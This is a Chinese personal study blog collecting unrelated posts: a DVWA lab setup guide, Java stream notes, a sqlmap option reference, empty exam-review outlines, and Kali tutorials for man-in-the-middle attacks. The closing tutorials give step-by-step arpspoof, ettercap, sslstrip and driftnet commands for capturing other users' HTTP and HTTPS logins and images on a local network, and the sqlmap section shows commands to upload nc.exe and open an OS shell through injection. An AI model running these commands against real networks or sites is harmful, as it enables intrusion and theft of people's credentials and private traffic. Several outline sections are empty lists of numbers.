˗ˋˏ♡ˎˊ˗

爱你所爱,行你所行,听从你心,无问西东。

0%

一、下载
1. 下载XAMPP
2. 下载DVWA

 
二、给文件执行权限并安装XAMPP
1. 在“下载”目录下,以“客户端运行”

1
sudo chmod a+x xampp-linux-x64-5.6.12-0-installer.run

2. 在“下载”目录下,运行安装

1
sudo ./xampp-linux-x64-5.6.12-0-installer.run

 
三、数据库配置
1. 在浏览器中访问127.0.0.1;
2. 点击右上角phpmyadmin -> new(新建) ->user(用户) ->add user(添加用户)并填写下面内容:

用户名:dvwa
主机名:127.0.0.1
密码一:dvwa
重复密码:dvwa

下面除了require ssl全部都勾选
3. go(执行)

 
四、移动DVWA文件、更名、提权
1. 移动更名:将DVWA-master移动到/opt/lampp/htdocs下并且重命名为dvwa;
2. 提权:然后给文件夹高权限否则网页打不开127.0.0.1/dvwa/

1
chmod -R 755 /opt/lampp/htdocs/dvwa

 
五、更改dvwa配置的文件名和内容
1. 将/opt/lampp/htdocs/DVWA-master/config/connfig.inc.php.dist
改为/opt/lampp/htdocs/DVWA-master/config/config.inc.php
2. 原内容:

1
2
3
4
5
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';

更改为:

1
2
3
4
5
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'dvwa';

 
六、创建数据库并重新登陆
1. 浏览器输入127.0.0.1/dvwa/,输入账号:dvwa 密码:dvwa  进去之后根据提示创建数据库;
2. 数据库创建好之后会自动跳到登陆界面,重新登陆,输入用户名admin和密码password就可以用了😄😁….

 
 
 

一、Java中的流的概念

1.0 数据流的概念

 数据流是一串连续不断的数据的集合,就象水管里的水流,在水管的一端一点一点地供水,而在水管的另一端看到的是一股连续不断的水流。数据写入程序可以是一段、一段地向数据流管道中写入数据,这些数据段会按先后顺序形成一个长的数据流。对数据读取程序来说,看不到数据流在写入时的分段情况,每次可以读取其中的任意长度的数据,但只能先读取前面的数据后,再读取后面的数据。不管写入时是将数据分多次写入,还是作为一个整体一次写入,读取时的效果都是完全一样的。
 “流是磁盘或其它外围设备中存储的数据的源点或终点。”
在电脑上的数据有三种存储方式,一种是外存,一种是内存,一种是缓存。比如电脑上的硬盘,磁盘,U盘等都是外存,在电脑上有内存条,缓存是在CPU里面的。外存的存储量最大,其次是内存,最后是缓存,但是外存的数据的读取最慢,其次是内存,缓存最快。这里总结从外存读取数据到内存以及将数据从内存写到外存中。对于内存和外存的理解,我们可以简单的理解为容器,即外存是一个容器,内存又是另外一个容器。那又怎样把放在外存这个容器内的数据读取到内存这个容器以及怎么把内存这个容器里的数据存到外存中呢?
 在Java类库中,IO部分的内容是很庞大的,因为它涉及的领域很广泛:
标准输入输出,文件的操作,网络上的数据流,字符串流,对象流,zip文件流等等,java中将输入输出抽象称为流,就好像水管,将两个容器连接起来。将数据冲外存中读取到内存中的称为输入流,将数据从内存写入外存中的称为输出流。
流是一个很形象的概念,当程序需要读取数据的时候,就会开启一个通向数据源的流,这个数据源可以是文件,内存,或是网络连接。类似的,当程序需要写入数据的时候,就会开启一个通向目的地的流。

  以上总结的基本概念如下:
🌸数据流:一组有序,有起点和终点的字节的数据序列。包括输入流和输出流; 🌸输入流(Input Stream):程序从输入流读取数据源。数据源包括外界(键盘、文件、网络…),即是将数据源读入到程序的通信通道; 🌸输出流:程序向输出流写入数据。将程序中的数据输出到外界(显示器、打印机、文件、网络…)的通信通道。采用数据流的目的就是使得输出输入独立于设备。 Input Stream不关心数据源来自何种设备(键盘,文件,网络) Output Stream不关心数据的目的是何种设备(键盘,文件,网络) 🌸数据流分类:流序列中的数据既可以是未经加工的原始二进制数据,也可以是经一定编码处理后符合某种格式规定的特定数据。因此Java中的流分为两种: 1) 字节流:数据流中最小的数据单元是字节; 2) 字符流:数据流中最小的数据单元是字符,Java中的字符是Unicode编码,一个字符占用两个字节。 🌸具体的字节流和字符流区分请看文章《Java:字节流和字符流(输入流和输出流)》和[《Java 字节流与字符流的区别》](https://blog.csdn.net/qq_25184739/article/details/51203733)、[《理解Java中字符流与字节流的区别》](https://www.cnblogs.com/absfree/p/5415092.html)、[《Java:字节流和字符流(输入流和输出流)》](https://www.cnblogs.com/progor/p/9357676.html).

 

二、System、in、out说明

Java系统自带的标准数据流:java.lang.System:

1
2
3
4
5
6
java.lang.System     
public final class System extends Object{
static PrintStream err;//标准错误流(输出)、err是对象;
static InputStream in;//标准输入(键盘输入流)、in是对象;
static PrintStream out;//标准输出流(显示器输出流)、out是对象.
}
🌼 System类不能创建对象,只能直接使用它的三个静态成员; 🌼 每当main方法被执行时,就自动生成上述三个对象; 🌼 System是java.lang包里面的一个类; 🌼 in是java.io.InputStream类的对象,也是System里面的一个数据成员(也称为字段); 🌼 read()是java.io.InputStream类里的方法,也就是in对象的方法; 🌼 out是java.io.PrintStream类的对象,也是System里面的一个数据成员(也称为字段); 🌼 print()、println()是java.io.PrintStream类里的方法,也就是out对象的方法;

 

三、System.in.read()使用

🌼 System.in.read()方法的作用是按每次读取一个字节(就是ASCII码),然后返回它的ASCII码十进制; 🌼 从第一次打开System.in输入流开始,以后输入的字节都存放起来,下次从这个里面依次按顺序读取; 🌼 用System.in.read()时,我们在键盘上按下的任何一个键都会被当做是输入值,包括Enter键也会被当做是一个值!当我们按下Enter的时候,实际上发送两个键值:一个回车\t(13),一个是换行\n(10); 🌼 从键盘输入一个a,char是两个字节存储的,read()一个字节一个字节读取时,暂时把a看作是一个字节,后续深入学习了再来解释😫😂(哈,貌似想通了,当字节流读到字节为0的数据流时会舍去,相当于跳过该字节继续读下一个非0的字节.....后续更新中)----12.27与老师探讨后得知:在流中输入的字符是一个ASCII(即一个字节=8比特),这个时候就是一个字节,而char存储的时候是按2个字节存储的,注意的是在流中并不是存储,存储一个字符是Unicode码共16位,而流中的ASCII是8位。 建议去读[《java总结输入流输出流》](https://blog.csdn.net/liuxiaogangqq/article/details/25892667)!!! 可参考[Scanner使用方法](https://www.cnblogs.com/ioveNature/p/6797024.html)

注意事项:

1、由于在控制台输入时,按下回车键才代表输入完成,输入的内容才会提交到read()方法,所以按下回车之前,程序是不知道你输入了什么的; 2、输入"a"后按下回车,这时候read()方法读到了数据,此时buffer中的数据应该是97 13 10,也就是字符'a','\r','\n',并且read()方法每次只能从缓冲区中读出一个字符,三次read()就刚好读出这3个字符,之后程序就结束了; 3、只按下回车,此时从流中只读到了"\r"和"\n",由于没有足够的输入,那么第三次调用read()时阻塞. 参考:[《System.in.read()使用》](https://uule.iteye.com/blog/1128243);[《System.in输入流深入理解》](https://blog.csdn.net/fengzijinliang/article/details/40741565?utm_source=blogxgwz0) 推荐阅读:[《深入理解JAVA中的IO》](https://www.cnblogs.com/ylspace/p/8128112.html)

 

四、System.out.print()/println()

🌼 System.out.print()输出不换行,System.out.print()输出后换行. 参考[《深入理解System.out.print》](https://blog.csdn.net/idealemail/article/details/47318813).

 

五、Java中System.out.print()函数与Python中print()函数的详解

python中的print()函数和java中的System.out.print()函数都有着打印字符串的功能。 (1). python中: print("hello,world!") 输出为:hello,world! Java中: System.out.print("hello,world!"); 输出为:hello,world! 说明这两个函数的用法是一样的. (2). python中: print("1+1=",1+1) 输出结果为:1+1= 2 Java中: System.out.print("1+1="+(1+1)); 输出结果为:1+1=2 说明在使用print()函数的时候,我们用了一个“,”将“1+1=”和1+1的结果连接起来了,这个“,”起着连接的作用。同时,在使用System.out.print()函数的时候,我们用了一个“+”将“1+1=”和1+1的结果连接起来了,这个“+”也是起着连接作用; 我们再来看他们的输出结果,print()输出的是1+1= 2,“=”与“2”之间有一个空格,而System.out.print()输出的是1+1=2,“=”与“2”之间没有空格。这里我们发现python中的print()函数中的“,”不仅起着连接字符串的作用,而且还表示一个空格.

结论:
🌼 python中的print()函数的作用和java中的System.out.print()函数的作用是一样的;
🌼 print()函数中“,”和System.out.print()函数中“+”都有着连接字符串的作用;
🌼 print()函数中“,”还表示一个空格;
🌼 不同的语言都有着很多的相似点,不同的语言又有着不同的新特性.

参考:《python中print()函数的“,”与java中System.out.print()函数中的“+”功能详解》.

一、sqlmap简介

 sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

sqlmap支持五种不同的注入模式: 🌸**基于布尔的盲注**,即可以根据返回页面判断条件真假的注入; 🌸**基于时间的盲注**,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语 句是否执行(即页面返回时间是否增加)来判断; 🌸**基于报错注入**,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中; 🌸**联合查询注入**,可以使用union的情况下的注入; 🌸**堆查询注入**,可以同时执行多条语句的执行时的注入。

 

二、SQL使用参数详解

每条指令使用方法参见:《sqlmap注入总结》.

2.1 选项Options
-h,–help 显示基本帮助信息并退出 -hh 显示高级帮助信息并退出 \--version 显示程序版本信息并退出 -vVERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。

 

2.2 目标Target
在这些选项中必须提供至少有一个确定目标 -d DIRECT 直接连接数据库的连接字符串 -u URL, –url=URL 目标URL (e.g.”http://www.site.com/vuln.php?id=1“),使用-u或者–url -l LOGFILE 从Burp或者WebScarab代理日志文件中分析目标 -x SITEMAPURL 从远程网站地图(sitemap.xml)文件来解析目标 -m BULKFILE 将目标地址保存在文件中,一行为一个URL地址进行批量检测。 -r REQUESTFILE 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个–force-ssl参数来使用,或者可以在Host头后门加上:443 -g GOOGLEDORK 从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理) -c CONFIGFILE 从配置ini文件中加载选项

 

2.3 请求Request
这些选项可以用来指定如何连接到目标URL \--method=METHOD 强制使用给定的HTTP方法(例如put) \--data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。\--data="id=1" -f \--banner \--dbs \--users \--param-del=PARA.. 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。 \--cookie=COOKIE HTTP Cookieheader 值 \--cookie-del=COO.. 用来分隔cookie的字符串值 \--load-cookies=L.. Filecontaining cookies in Netscape/wget format \--drop-set-cookie IgnoreSet-Cookie header from response \--user-agent=AGENT 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入 \--random-agent 使用random-agent作为HTTP User-Agent头值 \--host=HOST HTTP Hostheader value \--referer=REFERER sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入 -H HEADER, –hea.. 额外的http头(e.g.”X-Forwarded-For: 127.0.0.1″) \--headers=HEADERS 可以通过–headers参数来增加额外的http头(e.g.”Accept-Language: fr\nETag: 123″) \--auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI) \--auth-cred=AUTH.. HTTP 认证凭证(name:password) \--auth-file=AUTH.. HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。 \--ignore-401 Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的) \--ignore-proxy 忽略系统的默认代理设置 \--ignore-redirects忽略重定向的尝试 \--ignore-timeouts 忽略连接超时 \--proxy=PROXY 使用代理服务器连接到目标URL \--proxy-cred=PRO.. 代理认证凭证(name:password) \--proxy-file=PRO.. 从文件加载代理列表 \--tor 使用Tor匿名网络 \--tor-port=TORPORT 设置Tor代理端口 \--tor-type=TORTYPE 设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省)) \--check-tor 检查Tor的是否正确使用 \--delay=DELAY 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。 \--timeout=TIMEOUT 可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。 \--retries=RETRIES 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。 \--randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样 \--safe-url=SAFEURL 提供一个安全不错误的连接,每隔一段时间都会去访问一下 \--safe-post=SAFE.. 提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。 \--safe-req=SAFER.. 从文件中加载安全HTTP请求 \--safe-freq=SAFE.. 测试一个给定安全网址的两个访问请求 \--skip-urlencode 跳过URL的有效载荷数据编码 \--csrf-token=CSR.. Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌 \--csrf-url=CSRFURL URL地址访问提取anti-CSRF令牌 \--force-ssl 强制使用SSL/HTTPS \--hpp 使用HTTP参数污染的方法 \--eval=EVALCODE 在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。(e.g “import hashlib;id2=hashlib.md5(id).hexdigest()”) sqlmap.py -u”http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b“--eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”

 

2.4 优化Optimization
这些选项可用于优化sqlmap性能 -o 打开所有的优化开关 \--predict-output 预测普通查询输出 \--keep-alive 使用持久HTTP(S)连接 \--null-connection 获取页面长度 \--threads=THREADS 当前http(s)最大请求数 (默认 1)

 

2.5 注入Injection
这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。 -p TESTPARAMETER 可测试的参数 \--skip=SKIP 跳过对给定参数的测试 \--skip-static 跳过测试不显示为动态的参数 \--param-exclude=.. 使用正则表达式排除参数进行测试(e.g. “ses”) \--dbms=DBMS 强制后端的DBMS为此值 \--dbms-cred=DBMS.. DBMS认证凭证(user:password) \--os=OS 强制后端的DBMS操作系统为这个值 \--invalid-bignum 使用大数字使值无效 \--invalid-logical 使用逻辑操作使值无效 \--invalid-string 使用随机字符串使值无效 \--no-cast 关闭有效载荷铸造机制 \--no-escape 关闭字符串逃逸机制 \--prefix=PREFIX 注入payload字符串前缀 \--suffix=SUFFIX 注入payload字符串后缀 \--tamper=TAMPER 使用给定的脚本篡改注入数据

 

2.6 检测Detection
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容 \--level=LEVEL 执行测试的等级(1-5,默认为1) \--risk=RISK 执行测试的风险(0-3,默认为1) \--string=STRING 查询时有效时在页面匹配字符串 \--not-string=NOT.. 当查询求值为无效时匹配的字符串 \--regexp=REGEXP 查询时有效时在页面匹配正则表达式 \--code=CODE 当查询求值为True时匹配的HTTP代码 \--text-only 仅基于在文本内容比较网页 \--titles 仅根据他们的标题进行比较

 

2.7 技巧Techniques
这些选项可用于调整具体的SQL注入测试 \--technique=TECH SQL注入技术测试(默认BEUST) \--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒) \--union-cols=UCOLS 定列范围用于测试UNION查询注入 \--union-char=UCHAR 暴力猜测列的字符数 \--union-from=UFROM SQL注入UNION查询使用的格式 \--dns-domain=DNS.. DNS泄露攻击使用的域名 \--second-order=S.. URL搜索产生的结果页面

 

2.8 指纹Fingerprint
-f, \--fingerprint 执行广泛的DBMS版本指纹检查

 

2.9 枚举Enumeration
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。 -a, \--all 获取所有信息 -b, \--banner 获取数据库管理系统的标识 \--current-user 获取数据库管理系统当前用户 \--current-db 获取数据库管理系统当前数据库 \--hostname 获取数据库服务器的主机名称 \--is-dba 检测DBMS当前用户是否DBA \--users 枚举数据库管理系统用户 \--passwords 枚举数据库管理系统用户密码哈希 \--privileges 枚举数据库管理系统用户的权限 \--roles 枚举数据库管理系统用户的角色 \--dbs 枚举数据库管理系统数据库 \--tables 枚举的DBMS数据库中的表 \--columns 枚举DBMS数据库表列 \--schema 枚举数据库架构 \--count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb \--dump 转储数据库表项 \--dump-all 转储数据库所有表项 \--search 搜索列(S),表(S)和/或数据库名称(S) \--comments 获取DBMS注释 -D DB 要进行枚举的指定数据库名 -T TBL DBMS数据库表枚举 -C COL DBMS数据库表列枚举 -X EXCLUDECOL DBMS数据库表不进行枚举 -U USER 用来进行枚举的数据库用户 \--exclude-sysdbs 枚举表时排除系统数据库 \--pivot-column=P.. Pivot columnname \--where=DUMPWHERE Use WHEREcondition while table dumping \--start=LIMITSTART 获取第一个查询输出数据位置 \--stop=LIMITSTOP 获取最后查询的输出数据 \--first=FIRSTCHAR 第一个查询输出字的字符获取 \--last=LASTCHAR 最后查询的输出字字符获取 \--sql-query=QUERY 要执行的SQL语句 \--sql-shell 提示交互式SQL的shell \--sql-file=SQLFILE 要执行的SQL文件

 

2.10 暴力Brute force
这些选项可以被用来运行暴力检查 \--common-tables 检查存在共同表 \--common-columns 检查存在共同列

 

2.11 用户自定义函数注入User-defined function injection
这些选项可以用来创建用户自定义函数 \--udf-inject 注入用户自定义函数 \--shared-lib=SHLIB 共享库的本地路径

 

2.12 访问文件系统File system access
这些选项可以被用来访问后端数据库管理系统的底层文件系统 \--file-read=RFILE 从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe: sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“\--file-read “C:/example.exe” -v 1 \--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 \--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下: python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” \--file-write”/software/nc.exe” \--file-dest “C:/WINDOWS/Temp/nc.exe” -v1

 

2.13 操作系统访问Operating system access
这些选项可以用于访问后端数据库管理系统的底层操作系统 \--os-cmd=OSCMD 执行操作系统命令(OSCMD) \--os-shell 交互式的操作系统的shell \--os-pwn 获取一个OOB shell,meterpreter或VNC \--os-smbrelay 一键获取一个OOBshell,meterpreter或VNC \--os-bof 存储过程缓冲区溢出利用 \--priv-esc 数据库进程用户权限提升 \--msf-path=MSFPATH MetasploitFramework本地的安装路径 \--tmp-path=TMPPATH 远程临时文件目录的绝对路径 linux查看当前用户命令: sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” \--os-cmd id -v1

 

2.14 Windows注册表访问Windows registry access
这些选项可以被用来访问后端数据库管理系统Windows注册表 \--reg-read 读一个Windows注册表项值 \--reg-add 写一个Windows注册表项值数据 \--reg-del 删除Windows注册表键值 \--reg-key=REGKEY Windows注册表键 \--reg-value=REGVAL Windows注册表项值 \--reg-data=REGDATA Windows注册表键值数据 \--reg-type=REGTYPE Windows注册表项值类型

 

2.15 一般选项General
这些选项可以用来设置一些一般的工作参数 -s SESSIONFILE 保存和恢复检索会话文件的所有数据 -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中 \--batch 从不询问用户输入,使用所有默认配置。 \--binary-fields=.. 结果字段具有二进制值(e.g.”digest”) \--charset=CHARSET 强制字符编码 \--crawl=CRAWLDEPTH 从目标URL爬行网站 \--crawl-exclude=.. 正则表达式从爬行页中排除 \--csv-del=CSVDEL 限定使用CSV输出 (default”,”) \--dump-format=DU.. 转储数据格式(CSV(default), HTML or SQLITE) \--eta 显示每个输出的预计到达时间 \--flush-session 刷新当前目标的会话文件 \--forms 解析和测试目标URL表单 \--fresh-queries 忽略在会话文件中存储的查询结果 \--hex 使用DBMS Hex函数数据检索 \--output-dir=OUT.. 自定义输出目录路径 \--parse-errors 解析和显示响应数据库错误信息 \--save=SAVECONFIG 保存选项到INI配置文件 \--scope=SCOPE 从提供的代理日志中使用正则表达式过滤目标 \--test-filter=TE.. 选择测试的有效载荷和/或标题(e.g. ROW) \--test-skip=TEST.. 跳过试验载荷和/或标题(e.g.BENCHMARK) \--update 更新sqlmap

 

2.16 杂项Miscellaneous
-z MNEMONICS 使用短记忆法 (e.g.”flu,bat,ban,tec=EU”) \--alert=ALERT 发现SQL注入时,运行主机操作系统命令 \--answers=ANSWERS 当希望sqlmap提出输入时,自动输入自己想要的答案(e.g. “quit=N,follow=N”),例如:sqlmap.py -u”http://192.168.22.128/get_int.php?id=1“–technique=E\--answers=”extending=N” \--batch \--beep 发现sql注入时,发出蜂鸣声。 \--cleanup 清除sqlmap注入时在DBMS中产生的udf与表。 \--dependencies Check formissing (non-core) sqlmap dependencies \--disable-coloring 默认彩色输出,禁掉彩色输出。 \--gpage=GOOGLEPAGE 使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试 \--identify-waf 进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别 \--mobile 有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。 \--offline Work inoffline mode (only use session data) \--purge-output 从输出目录安全删除所有内容,有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。 \--skip-waf 跳过WAF/IPS / IDS启发式检测保护 \--smart 进行积极的启发式测试,快速判断为注入的报错点进行注入 \--sqlmap-shell 互动提示一个sqlmapshell \--tmp-dir=TMPDIR 用于存储临时文件的本地目录 \--web-root=WEBROOT Web服务器的文档根目录(e.g.”/var/www”) \--wizard 新手用户简单的向导使用,可以一步一步教你如何输入针对目标注入

 12.3复习笔记

第一章、整数的可除性

1.1 整数的概念、欧几里得除法

1
2
 

1.2 最大公因数与广义欧几里得除法

3
4
 

1.3 整除的进一步性质及最小公倍数
1.4 整数分解

5
 

1.5 素数的算术基本定理

6

 
 

第二章、同余

2.1 同余的概念及基本性质

7
8
 

2.2 剩余类及完全剩余系

9
 

2.3 简化剩余系与欧拉函数

10
 

2.4 欧拉定理、费马小定理、Wilson定理

11
 

2.5 模重复平方算法

12

 
 
12.5复习笔记

第三章、同余式

3.1 基本概念及一次同余式

13
 

3.2 中国剩余定理

14
 

3.3 高次同余式的解法及解数

15
 

3.4 素数模的同余式

16

 
 

第四章、二次同余式与平方剩余

4.1 一般二次同余式

17
 

4.2 模为奇素数的平方剩余与平方剩余
4.3 勒让得符号

18
 

4.4 二次互反律
4.5 雅可比符号

19

 
 

第五章、原根与指标

5.1 指数及基本性质

20
21
 

5.2 原根

22
 

5.3 指标及n次同余式

23
 
 
 
 

 

 11.19复习笔记

二、递归与分治策略

(1)递归与分治

1
2

(2)二分搜索技术

3

(3)线性时间选择、最接近点对

3
 
 
11.20复习笔记

三、动态规划

(1)矩阵连乘

4

(2)最长公共子序列

5

(3)最长子段和、凸多边形、图像压缩

6

(4)电路布线

7

(5)流水作业调度、0-1背包

8
 
 
11.21复习笔记

四、贪心算法

(1)活动安排、背包问题

9

(2)最优装载、哈夫曼编码、单源最短路径

10

(3)最小生成树

11

(4)多机调度问题

12

五、回溯法

13

使用工具:arpspoof、ettercap、sslstrip

一、将HTTPS转换成HTTP

在获取HTTPS账号、密码的操作前需要修改ettercap的设置,否则无法成功。 1.先编辑/etc/ettercap/etter.conf下的文件内容,更改ettercap设置; 1.1输入/etc/ettercap/etter.conf后找到: # if you use iptables: #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" 这个地方 2.改为(去掉两个#): # if you use iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" 3.输入sslstrip -a -f -k 实现https转换成http以获取帐号密码; 4.在该终端窗口下右键选择“复制SSH渠道(S)”; 5.接着直接使用HTTP账号密码获取的方法就可以了。

vim使用方法:
编辑:按下i;
保存并退出:按下Esc,然后按Shift和:(冒号),按下wq,完后按回车;
不保存并退出:按下Esc,然后按Shift和:(冒号),按下q!,完后按回车;

1
2
3
4
5
vim /etc/ettercap/etter.conf
i
删除两个#
Esc、Shift :、wq、回车
sslstrip -a -f -k

二、ARP欺骗和抓包获取HTTPS账号和密码

1
2
3
4
echo 1 >/proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 目标IP 目标主机网关
ettercap -Tq -i eth0

 
 
 
 

使用工具:arpspoof、ettercap
ettercap是什么?

我们在对WEB安全检测的时候都会用到Cain和netfuke这两款工具,功能相信用过的朋友多多少少都知道,但这两款工具是在windows下运行的。
而ettercap是在linux下运行的 。其实功能都是差不多的,我称呼它为嗅探工具,ARP欺骗,DNS,劫持,中间人攻击等等。总之这是一款强大的安全测试工具。

一、ARP欺骗

1
2
3
echo 1 >/proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 目标IP 目标主机网关

二、使用ettercap获取HTTP账号和密码

另开一个终端,输入ettercap -Tq -i eth0

1
ettercap -Tq -i eth0

-T:文本模式
q:安静模式
i:指定网卡
成功后当靶机浏览HTTP网页试用账号和密码登陆时,这个终端窗口就会显示相应的url、账号、密码。
💛💙❤注意:当对方的用户名是使用中文登陆的,则终端窗口账号处显示的是编码,则需要使用到url解码,将这串编码解码成中文。

 
 
 
 

使用工具:arpspoof、driftnet
 

一、ARP欺骗、流量转发

第一步“开启ip转发” 命令:echo 1 >/proc/sys/net/ipv4/ip_forward (回车没有任何的返回) 第二步查看转发是否成功 第三步另开窗口“开始欺骗” 命令:arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 (回车之后不断欺骗运行中~~~[记得这个窗口需要保留])
1
2
3
echo 1 >/proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

二、使用driftnet获取图片

命令:driftnet -i eth0(获取的图片会自动给保存,可以看它新开窗口的保存路径) “查看目标的图片信息”弹出的窗口请不要关闭,在窗口就可以看到获取信息。
1
driftnet -i eth0